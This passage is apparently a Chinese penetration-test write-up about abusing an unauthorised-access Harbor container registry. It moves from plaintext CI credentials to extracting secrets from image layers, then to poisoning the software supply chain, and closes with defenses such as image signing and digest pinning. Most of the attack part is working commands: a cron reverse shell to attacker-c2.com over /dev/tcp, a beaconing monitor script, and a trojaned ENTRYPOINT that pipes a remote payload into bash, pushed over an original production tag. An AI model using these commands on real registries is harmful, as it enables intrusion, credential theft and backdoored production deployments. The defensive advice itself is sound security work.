、发现并利用未授权的Harbor实例

第一步:从CI文件找到入口

回到那次评估。GitLab上翻CI配置是我的常规操作,通常能在环境变量或配置文件里找到各种惊喜。

# .gitlab-ci.yml 片段
build-image:
  stage: build
  script:
    - docker login harbor.internal.company.com -u ci_robot -p 'Harbor12345'
    - docker build -t harbor.internal.company.com/production/app:$CI_COMMIT_SHA .
    - docker push harbor.internal.company.com/production/app:$CI_COMMIT_SHA

明文密码 Harbor12345,用户名 ci_robot——真就一点没藏着。

第二步:探测仓库权限

拿到凭证后,我先不急着下载,而是先看看这个 ci_robot 账号到底有多大权限。

# 查看仓库列表
curl -s -u "ci_robot:Harbor12345" \
  "https://harbor.internal.company.com/api/v2.0/projects" | jq .

# 输出显示该账号对 production、staging、base-images 三个项目有 push/pull 权限

很好,不是只读的robot账号,居然有push权限。这种配置错误非常典型——CI用的robot账号为了"方便调试",给了远超所需的最小权限。

我接下来用Skopeo列出所有可访问的镜像:

# 用 skopeo 列出仓库内容(比docker CLI更灵活)
skopeo list-tags \
  --tls-verify=false \
  --creds ci_robot:Harbor12345 \
  docker://harbor.internal.company.com/production

# 输出显示有 40+ 个镜像标签
# 包括 app:latest, app:v2.3.1, gateway:latest, user-service:1.0.0 ...

第三步:翻找硬编码凭证

第一个目标:app:latest——这是生产环境当前运行的版本。

# 拉取并解包镜像层
skopeo copy \
  --tls-verify=false \
  --creds ci_robot:Harbor12345 \
  docker://harbor.internal.company.com/production/app:latest \
  docker-archive:./app-latest.tar

# 解压查看每一层
mkdir app-layers && cd app-layers
tar xf ../app-latest.tar
for layer in *.tar; do
  echo "=== 检查层: $layer ==="
  tar tf "$layer" | grep -iE '(password|secret|key|token|credential|\.env|config\.)'
done

结果在不到30秒内,我找到了三组硬编码凭证:

  • application.yml 里明文写的RDS连接密码(生产库)
  • .env 文件里的阿里云AccessKey和SecretKey
  • redis.conf 里的Redis密码(这台Redis居然没有IP白名单)
很多开发者觉得"镜像只存在我们仓库里,别人看不到"——这种想法本身就是最大的漏洞。

三、从凭据窃取到供应链投毒

拿到RDS密码后,按传统路径我直接登录数据库就完事了。但这次我还有一个更大胆的计划——供应链投毒

方案A:直接在基础镜像中埋后门

查看 base-images 项目,这是一个存放所有基础镜像的仓库,包括 openjdk:11-jre-slim-customnginx-custompython:3.9-slim-custom 等。

# 查看 base-images 项目中的镜像
curl -s -u "ci_robot:Harbor12345" \
  "https://harbor.internal.company.com/api/v2.0/projects/base-images/repositories" | jq -r '.[].name'

这些自定义基础镜像被production目录下至少一半的服务引用。如果我替换其中一个:

# 原始基础镜像 dockerfile
FROM openjdk:11-jre-slim
RUN apt-get update && apt-get install -y curl

# 后门版本:植入反向Shell
FROM openjdk:11-jre-slim
RUN apt-get update && apt-get install -y curl
# 添加一个定期执行的反向连接任务
RUN echo "*/5 * * * * root bash -c 'exec bash -i &>/dev/tcp/attacker-c2.com/4444<&1'" > /etc/cron.d/evil

但是这个方案有个问题——重新打tag覆盖会触发Harbor的webhook通知,如果对方配置了镜像扫描或审计告警,很容易被发现。

方案B:利用镜像标签覆盖(更隐蔽)

我选择了更隐蔽的做法:不修改镜像内容,而是直接利用CI流程的缺陷触发重新构建

研究了一下他们的CI流水线,发现 latest 标签并不是通过Git Tag触发的,而是每次main分支有新的合并请求,CI都会重新构建并推送 latest 标签

这意味着,我只需要在GitLab上提一个看似无害的MR,在里面加一段"合法"的构建脚本,就能让CI自动把带着后门的镜像推送到生产仓库。

# 看起来人畜无害的代码改动:增加一个监控脚本
# 实际作用是:在容器启动时向C2服务器报告存活状态

# 在 Dockerfile 中添加
COPY monitor.sh /usr/local/bin/
RUN chmod +x /usr/local/bin/monitor.sh
# monitor.sh 实际内容:curl http://c2-server/beacon?pod=$(hostname)

方案C:直接篡改已存在的镜像(最激进)

Harbor默认不启用镜像签名验证(Notary/Distribution)。我可以用 docker push 直接覆盖已存在的镜像标签:

# 拉取生产镜像
docker pull harbor.internal.company.com/production/gateway:v3.1.2

# 在本地做修改——注入反弹shell
docker commit --change='ENTRYPOINT ["/bin/bash", "-c", "curl http://c2/payload | bash &; exec /entrypoint.sh"]' \
  $(docker run -d gateway:v3.1.2 sleep 1) \
  harbor.internal.company.com/production/gateway:v3.1.2-trojaned

# 推送并覆盖原标签
docker push harbor.internal.company.com/production/gateway:v3.1.2-trojaned

# 重新打标签为原始版本号
docker tag harbor.internal.company.com/production/gateway:v3.1.2-trojaned \
  harbor.internal.company.com/production/gateway:v3.1.2

# 强制推送覆盖
docker push harbor.internal.company.com/production/gateway:v3.1.2

这种方式最致命——下次Pod滚动更新或重建时,K8s会自动拉取被篡改的"v3.1.2"镜像。没有镜像摘要(Pinning by digest)的环境,根本无法察觉到变化。

四、防御方案:你不能相信你不知道的东西

事情做完了,回到蓝军视角。如果我是被攻击的一方,该怎么防?

1. 启用镜像签名验证

Harbor支持Cosign和Notation集成,K8s侧可以用 admission controller 校验签名:

# 使用 Cosign 对镜像签名
COSIGN_PASSWORD=xxx cosign sign \
  --key cosign.key \
  harbor.internal.company.com/production/app:v3.1.2

# 在K8s中验证
apiVersion: cosigned.sigstore.dev/v1beta1
kind: ClusterImagePolicy
metadata:
  name: image-signature-policy
spec:
  images:
  - glob: "harbor.internal.company.com/production/*"
  authorities:
  - key:
      data: |
        -----BEGIN PUBLIC KEY-----
        ...

2. CI Robot账号遵循最小权限原则

# Harbor API:创建项目级别的只读 robot 账号
curl -X POST "https://harbor.internal.company.com/api/v2.0/robots" \
  -u "admin:password" \
  -H "Content-Type: application/json" \
  -d '{
    "name": "build-pull-only",
    "duration": -1,
    "level": "project",
    "permissions": [{
      "kind": "project",
      "namespace": "production",
      "access": [
        {"resource": "repository", "action": "pull"},
        {"resource": "artifact", "action": "read"}
      ]
    }]
  }'

3. 镜像拉取使用Digest而非标签

这是最有效也最简单的防御——不要在Deployment里使用 :latest 或 :v3.1.2 这种可变标签,改用不可变的镜像摘要:

# ❌ 危险的做法
image: harbor.internal.company.com/production/app:latest

# ✅ 安全的做法
image: harbor.internal.company.com/production/app@sha256:a1b2c3d4e5f6...

4. 启用镜像漏洞扫描和策略拦截

Harbor内置了Trivy扫描器,可以配置扫描策略——发现Critical漏洞时阻止部署:

# Harbor API:配置扫描策略
curl -X PUT "https://harbor.internal.company.com/api/v2.0/projects/production" \
  -u "admin:password" \
  -H "Content-Type: application/json" \
  -d '{
    "auto_scan": true,
    "scan_policy": {
      "severity_threshold": "high",
      "block_on_vul": true
    }
  }'

5. 审计与告警

更多推荐